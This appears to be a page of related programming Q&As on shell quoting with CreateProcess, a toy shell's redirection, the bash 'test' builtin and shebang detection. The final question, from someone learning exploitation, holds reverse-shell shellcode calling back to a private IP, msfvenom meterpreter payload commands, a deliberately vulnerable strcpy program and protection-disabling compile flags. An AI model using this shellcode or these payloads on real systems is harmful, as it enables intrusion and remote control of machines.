I used this simple script,named echo_arg in a msys shell
echo $1
echo $2
echo $3
For these 2 cases, called from CLI,
$ C:/msys/1.0/bin/sh.exe -c "C:/msys/1.0/bin/sh.exe echo_arg a "b" c"
$ C:/msys/1.0/bin/sh.exe -c "C:/msys/1.0/bin/sh.exe echo_arg a \"b\" c"
the output was
a
b
c
But CreateProcess function in a C program did not give the same result (compilation with mingw-w64, thread : win32, exception : seh, version : 7.3.0 )
#include <windows.h>
#include <stdio.h>
void main( int argc, char *argv[] )
{
int i;
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
char * cmd[] = {
"C:/msys/1.0/bin/sh.exe -c \"C:/msys/1.0/bin/sh.exe echo_arg a \"b\" c\"", \
"C:/msys/1.0/bin/sh.exe -c \"C:/msys/1.0/bin/sh.exe echo_arg a \\\"b\\\" c\"", \
"C:/msys/1.0/bin/sh.exe -c \"/bin/sh.exe echo_arg a \\\"b\\\" c\"" } ;
for (i=0;i<3;i++) {
printf("\t%s\n",cmd[i]);
CreateProcess(NULL, cmd[i] , NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
WaitForSingleObject( pi.hProcess, INFINITE );
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread ); }
}
Ouput :
C:/msys/1.0/bin/sh.exe -c "C:/msys/1.0/bin/sh.exe echo_arg a "b" c"abc
C:/msys/1.0/bin/sh.exe -c "C:/msys/1.0/bin/sh.exe echo_arg a \"b\" c"ab c
C:/msys/1.0/bin/sh.exe -c "/bin/sh.exe echo_arg a \"b\" c"abc
Why, in the second case, b and c are not separated ($2="b c" and $3 is empty) ? And why case 3 worked.
Only for information, I am not a mad man that likes to play with " \ \" / ... I have encountered this problem when I was trying to install GNU MP library (OS : windows 10). It did not work and it was the beginning of a long story before I found the cause.
Related
In Linux Ubuntu 20.04.4, I implemented a simple shell command in the "sh.c" file.
Entering
./a.out
and command line by line runs normally.
enter image description here
ls > y
cat < y | sort | uniq | wc > y1
cat y1
rm y1
ls | sort | uniq | wc
rm y
However, if you save the commands to the "t.sh" file
enter image description here
and run them at once like
./a.out < t.sh
an error appears.
enter image description here
print result :
5 5 29
5 5 29
cat: y1: No such file or directory
rm: Cannot erase 'y1': no such file or directory
4 4 27
rm: Cannot clear 'y': no such file or directory
When I checked with the "ls" command, both the cat and rm commands worked well, but I got a error message like that "rm: Cannot erase 'y1': no such file or directory."
What's the problem?
The other person worked normally with the same code...
This is part of the code implemented.
void runcmd(struct cmd *cmd)
{
int p[2], r;
int fd;
int pid;
char str[30] ="/bin/";
FILE * stream;
struct execcmd *ecmd;
struct pipecmd *pcmd;
struct redircmd *rcmd;
if(cmd == 0)
_exit(0);
switch(cmd->type){
default:
fprintf(stderr, "unknown runcmd\n");
_exit(-1);
case ' ':
ecmd = (struct execcmd*)cmd;
if(ecmd->argv[0] == 0){
_exit(0);
fprintf(stderr, "exec not implemented\n");
}
// Your code here ...
else if(execvp(ecmd->argv[0],ecmd->argv)==-1){
ecmd->argv[0] = strcat(str,ecmd->argv[0]);
if(execvp(ecmd->argv[0],ecmd->argv)==-1){
fprintf(stderr,"file not found\n");
exit(1);
}
}
break;
case '>':
rcmd = (struct redircmd*)cmd;
ecmd = (struct execcmd*)(rcmd->cmd);
if(0 <(fd = open(rcmd->file,O_CREAT|O_WRONLY,0644))){
stream = freopen(rcmd->file,"w",stdout);
runcmd(rcmd->cmd);
fclose(stream);
}
else {
fprintf(stderr,"file open error\n");
}
close(fd);
stream = NULL;
break;
case '<':
rcmd = (struct redircmd*)cmd;
// Your code here ...
if( 0 < (fd = open(rcmd->file,rcmd->flags))){
stream = freopen(rcmd->file,"r",stdin);
runcmd(rcmd->cmd);
fclose(stream);
close(fd);
}
else fprintf(stderr,"file open error\n");
break;
case '|':
pcmd = (struct pipecmd*)cmd;
// Your code here ...
struct cmd * lcmd =(pcmd->left);
struct cmd * rcmd =(pcmd->right);
int fd[2];
if(pipe(fd)==-1){
fprintf(stderr,"pipe error");
exit(1);
}
pid = fork1();
if(pid == 0){
dup2(fd[1],1);
close(fd[0]);
runcmd(lcmd);
}
else{
dup2(fd[0],0);
close(fd[1]);
runcmd(rcmd);
}
break;
}
_exit(0);
}
Have you declared #!/bin/sh at top of script
sh -c 'ls C:\Users\timothee'
gives:
ls: cannot access 'C:Userstimothee': No such file or directory
sh -c 'ls C:\\Users\\timothee'
gives:
ls: cannot access 'C:Userstimothee': No such file or directory
these work:
sh -c 'ls C:\\\Users\\\timothee'
sh -c 'ls C:/Users/timothee'
but isn't there a better way?
I'm trying to programmatically call a shell (bash or sh) command using CreateProcess and escape it properly, but the weird swallowing of backslash makes this awkward. See C example below:
is this the best way below, using 6(!) backward slashes?
(my full program would have to convert an input eg echo C:\\Users\\timothee to this:
echo C:\\\\\\Users\\\\\\timothee)
#ifdef _WIN32
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <cstdlib>
#include <string>
#include <algorithm>
#include <stdio.h>
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
void _tmain2(TCHAR *argv)
{
// adapted from https://stackoverflow.com/questions/42531/how-do-i-call-createprocess-in-c-to-launch-a-windows-executable
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
// Start the child process.
if( !CreateProcess( NULL, // No module name (use command line)
argv, // Command line
NULL, // Process handle not inheritable
NULL, // Thread handle not inheritable
FALSE, // Set handle inheritance to FALSE
0, // No creation flags
NULL, // Use parent's environment block
NULL, // Use parent's starting directory
&si, // Pointer to STARTUPINFO structure
&pi ) // Pointer to PROCESS_INFORMATION structure
)
{
printf( "CreateProcess failed (%d).\n", GetLastError() );
return;
}
// Wait until child process exits.
WaitForSingleObject( pi.hProcess, INFINITE );
// Close process and thread handles.
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
}
int main (int argc, char *argv[]) {
//char s[] = "echo ok1 && echo ok2"; // bad (prints: ok1 && echo ok2)
//char s[] = "sh -c 'echo ok1 && echo ok2'"; // ok: prints ok1\nok2
//char s[] = "sh -c 'echo C:\\Users\\timothee\\'"; // error
//char s[] = "sh -c 'echo C:/Users/timothee'"; // ok but I want \, not / as some windows program don't understand /
//char s[] = "sh -c 'echo C:\\\\Users\\\\timothee'"; // BUG: prints: C:Userstimothee
char s[] = "sh -c 'echo C:\\\\\\Users\\\\\\timothee'"; // prints: C:\Users\timothee
_tmain2(s);
return 0;
}
#endif //win32
links:
https://github.com/vim/vim/issues/371
https://github.com/boot2docker/boot2docker-cli/issues/301
The problem is that the back-slash needs to be escaped twice:
First by the shell where you invoke the sh command
Then a second time by the sh command itself.
So when you use the command-line
sh -c 'ls C:\\\Users\\\timothee'
the running shell will remove one back-slash and pass 'ls C:\\Users\\timothee to the sh command.
The sh command in turn needs that double back-slash in its own processing, and will pass C:\Users\timothee to the ls command.
Suppose I have this simple C program (test.c):
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv) {
exit (1);
}
Obviously, the exit code of this program is 1:
$ gcc test.c
$ ./a.out
$ echo $?
1
But when I run test ./a.out, the result of the test doesn't match the exit code:
$ test ./a.out
$ echo $?
0
So what is actually being tested? Why is the result of the test 0?
test is a Bash built-in, often invoked by the alternative name [.
The last command (test ./a.out) exits with status 0 indicating success because test ./a.out checks whether ./a.out as a string has one or more characters in it (is not an empty string), and because it isn't an empty string, returns success or 0. The test ./a.out command line does not execute your a.out program — as you could see by printing something from within your program.
As written, your program doesn't need the <stdio.h> header or the arguments to main() — it should be int main(void). You could lose <stdlib.h> too if you use return 1; instead of exit(1);:
int main(void)
{
return 1;
}
To use the exit status in an if condition in the shell, just use it directly:
if ./a.out ; then
echo Success
else
echo Failure
fi
Rule of Thumb: Don't call C programs test because you will be confused sooner or later — usually sooner rather than later.
Your C program returns "1" to the shell (I'd prefer"return()" over exit()", but...)
If you wanted to actually run "a.out" in conjunction with the "*nix" test command, you'd use syntax like:
`./a.out` # classic *nix
or
$(./a.out) # Bash
If you did that, however, "test" would read the value printed to "stdout", and NOT the value returned by your program on exit.
You can read more about test here:
test(1) - Linux man page
The classic test command: Bash hackers wiki
Understanding exit codes and how to use them in Bash scripts
Here is an example:
C program:
#include <stdio.h>
int main (int argc, char *argv[]) {
printf("%d\n", argc);
return 2;
}
Shell script:
echo "Assign RETVAL the return value of a.out:"
./a.out RETVAL=$? echo " " RETVAL=$RETVAL
echo "Assign RETVAL the value printed to stdout by a.out:"
RETVAL=$(./a.out) echo " " RETVAL=$RETVAL
echo "Turn an 'trace' and run a.out with 'test':"
set -x
if [ $(./a.out) -eq 1 ]; then
echo "One"
else
echo "Not One"
fi
Example output:
paulsm#vps2:~$ ./tmp.sh
Assign RETVAL the return value of a.out:
1
RETVAL=2
Assign RETVAL the value printed to stdout by a.out:
RETVAL=1
Turn an 'trace' and run a.out with 'test':
+++ ./a.out
++ '[' 1 -eq 1 ']'
++ echo One
One
ALSO:
A couple of points that have already been mentioned:
a. return 1 is generally a better choice than exit (1).
b. "test" is probably a poor name for your executable - because it collides with the built-in "test" command. Something like "test_return" might be a better choice.
As "is known", a script my-script-file which starts with
#!/path/to/interpreter -arg1 val1 -arg2 val2
is executed by exec calling /path/to/interpreter with 2(!) arguments:
-arg1 val1 -arg2 val2
my-script-file
(and not, as one might naively expect, with 5 arguments
-arg1
val1
-arg2
val2
my-script-file
as has been explained in many previous questions, e.g.,
https://stackoverflow.com/a/4304187/850781).
My problem is from the POV of an interpreter developer, not script writer.
How do I detect from inside the interpreter executable that I was called from shebang as opposed to the command line?
Then I will be able to decide whether I need to split my first argument
by space to go from "-arg1 val1 -arg2 val2" to ["-arg1", "val1", "-arg2", "val2"] or not.
The main issue here is script files named with spaces in them.
If I always split the 1st argument, I will fail like this:
$ my-interpreter "weird file name with spaces"
my-interpreter: "weird": No such file or directory
On Linux, with GNU libc or musl libc, you can use the aux-vector to distinguish the two cases.
Here is some sample code:
#define _GNU_SOURCE 1
#include <stdio.h>
#include <errno.h>
#include <sys/auxv.h>
#include <sys/stat.h>
int
main (int argc, char* argv[])
{
printf ("argv[0] = %s\n", argv[0]);
/* https://www.gnu.org/software/libc/manual/html_node/Error-Messages.html */
printf ("program_invocation_name = %s\n", program_invocation_name);
/* http://man7.org/linux/man-pages/man3/getauxval.3.html */
printf ("auxv[AT_EXECFN] = %s\n", (const char *) getauxval (AT_EXECFN));
/* Determine whether the last two are the same. */
struct stat statbuf1, statbuf2;
if (stat (program_invocation_name, &statbuf1) >= 0
&& stat ((const char *) getauxval (AT_EXECFN), &statbuf2) >= 0)
printf ("same? %d\n", statbuf1.st_dev == statbuf2.st_dev && statbuf1.st_ino == statbuf2.st_ino);
}
Result for a direct invocation:
$ ./a.out
argv[0] = ./a.out
program_invocation_name = ./a.out
auxv[AT_EXECFN] = ./a.out
same? 1
Result for an invocation through a script that starts with #!/home/bruno/a.out:
$ ./a.script
argv[0] = /home/bruno/a.out
program_invocation_name = /home/bruno/a.out
auxv[AT_EXECFN] = ./a.script
same? 0
This approach is, of course, highly unportable: Only Linux has the getauxv function. And there are surely cases where it does not work well.
I am using this shellcode:
\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68\xc0\xa8\x0f\x81\x66\x68\x05\x39\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80
from http://shell-storm.org/shellcode/files/shellcode-883.php
When I execute the .c program, it works, it receives connection and I can execute commands without any problem.
The problem is when injecting it in a buffer overflow, from the gdb: I receive the connection (which means that shellcode, offset and EIP are allright) and I am using the right IP and PORT, but right away, it just crashes.
I have tried with other shellcodes, with:
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.15.129 lport=1337 -b '\x00' -f c
and:
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.15.129 lport=1337 -b '\x00\xff\x09\x0a' -e x86/shikata_ga_nai -f c
And I receive the connection well, but.... right away, it just crashes and can't execute commands.
Mentioning that this is my .c vulnerable code:
#include <string.h>
#include <stdio.h>
void func(char *arg){
char nombre[90];
strcpy(nombre,arg);
printf ("\nBienvenido a Linux Exploiting %s\n\n", nombre);
}
int main (int argc, char *argv[]){
if (argc != 2){
printf ("Uso %s Nombre\n", argv[0]);
exit(0);
}
func(argv[1]);
printf("Fin del programa\n");
return 0;
}
I inject: Shellcode + (102-74 (or -98 with the metasploit payloads))x"A" + RET (I get the addr alright by setting a break after the strcpyand getting where the buffer starts exactly and I know it works, because as I said, I receive the connection (If I change a byte anywhere I don't receive anything).
And I am compiling it with: //gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack -g prog2.c -o prog2